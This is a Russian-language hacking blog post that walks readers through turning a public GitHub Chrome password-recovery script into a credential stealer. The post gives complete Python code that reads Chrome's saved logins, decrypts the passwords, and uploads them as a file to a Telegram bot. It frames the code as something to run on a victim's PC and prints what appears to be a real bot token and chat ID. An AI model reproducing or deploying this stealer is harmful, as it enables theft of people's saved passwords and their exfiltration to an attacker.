Найти в Дзене
Комнатный Хакер

Стиллер с GitHub: вирусология

Приведу пример, когда хакеры брали готовые инструменты с GitHub'a и проводили атаки:

Для некоторых целей атаки были полностью “безфайловые”, в итоге доставлявшие Meterpreter-сессию непосредственно в память. В других случаях использовался инструмент для хищения паролей LaZagne Project или загружалась и выполнялась другая Python-малварь. После проведения дополнительного расследования мы идентифицировали контроллеры для разных протоколов, в том числе Cmd, Lazagne, Mimikatz и так далее», — объясняют эксперты Morphisec.

Так в чём суть?

Хакеры использовали готовые инструменты для атаки, все они были в публичном доступе. Сегодня я приведу в пример, как они сделали из публичного инструмента, предназначенного для восстановления паролей, вирус который отправляет данные злоумышленнику.

Поехали!

В поиске GitHub'a нашёл этот репозиторий:

-2

Когда вы запрашиваете Google Chrome для сохранения пароля на данном веб-сайте, он сохраняет его в файле "Login Data" (файл базы данных sqlite).

Для безопасного хранения пароля пароль шифруется с использованием учетных данных окна пользователя.

Эта программа расшифровывает пароли в машине пользователя, а затем копирует их в тот же каталог, в котором присутствует программа.

Поэтому, если исполняемая версия этой программы подключена к любому компьютеру под управлением windows и Google Chrome, запуск этой программы скопирует все сохраненные пароли Chrome в текстовый файл. ( Admin: Кодер реализовал функцию сохранения паролей криво, но мы это поправим:) )

Скачиваем архив, смотрим код:

-3

Исходя из кода, можем выявить работу этой утилиты.

Сначала проводится подключение к бд Login Data (он содержит пароли)

Далее в колонке logins он выбирает и извлекает таблицы: action_url, username_value, password_value

Затем создаёт файл с именем file.txt и записывает в него логины и пароли

Тут всё просто, как 2х2.

Запустим скрипт и...

-4

Пароли не сохранились... Видимо кодер не проверял свой код, но ничего, сейчас всё подправим.

Всё дело в том, что пароли то он записал, а соединение с файлом закрыть забыл, лечится эта ошибка одной строкой:

fp.close()

-5

Запускаем и...

-6

Скрипт работает, но наш кодер сделал лог максимально неудобным

-7

Ладно, и эту ошибку мы поправим, для этого просто в некоторых местах убираем '/n' (она отвечает за начало новой строки)

-8

Теперь лог приобрёл человеческий вид :)

fp.write('\nThe website: '+ result[0] + '\n')

fp.write('The Username: '+ result[1] + '\n') 

fp.write('The password: '+ str(password) + '\n')

Лог сохранён, приведён в порядок, можно и отправить (не будем же мы лично запускать стиллер на ПК жертвы, а потом копировать текстовик на USB?))

Отправка будет моим любимым способом - в телеграм.

Для этого нам нужно:

Импортировать библиотеку requests, для POST запроса (для отправки)

Добавить две переменные отвечающие за токен бота, и ID чата.

Объявить переменную для POST запроса

Ну и сделать запрос

# Переменные

chat_id = '439184350'

bot_token = '707234715:AAG7I_RBjNt93HWlXAmWML0LwkRGxqNq8Ac'

# Переменная для POST запроса

files = {'document': open('file.txt', 'rb')}

Сам запрос

requests.post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id=" + chat_id + "&caption=NEW LOG! ⚡" + "\nCoded by @hack_less", files=files)

Теперь код выглядит так:

-9

Весь код:

import sqlite3

import win32crypt

import os

import requests

from os import getenv

chat_id = ''

bot_token = ''

conn = sqlite3.connect(getenv("APPDATA")+r"\..\Local\Google\Chrome\User Data\Default\Login Data")

cursor = conn.cursor()

cursor.execute('Select action_url, username_value, password_value FROM logins')

fp = open(r"file.txt", "a+")

fp.write("Chrome Saved Passwords | Комнатный Хакер - @hack_less\n")

for result in cursor.fetchall():

   password = win32crypt.CryptUnprotectData(result[2],None,None,None,0)[1]

   if password:

       fp.write('\nThe website: '+result[0] + '\n')

       fp.write('The Username: '+result[1] + '\n') 

       fp.write('The password: '+ str(password) + '\n') 

fp.close()

files = {'document': open('file.txt', 'rb')}

requests.post("https://api.telegram.org/bot" + bot_token + "/sendDocument?chat_id=" + chat_id + "&caption=NEW LOG! ⚡" + "\nCoded by @hack_less", files=files)

Заключение.

Сегодня мы рассмотрели способ, который позволяет сделать из программы показывающей пароли, сделать стиллер с отправкой лога в телегу. На этом статья подходит к концу, удачи тебе, хацкер.

#хакер #хакерство #компьютерная грамотность #компьютерная безопасность #интернет #информационная безопасность #информационная гигиена #Анонимус #интересное #IT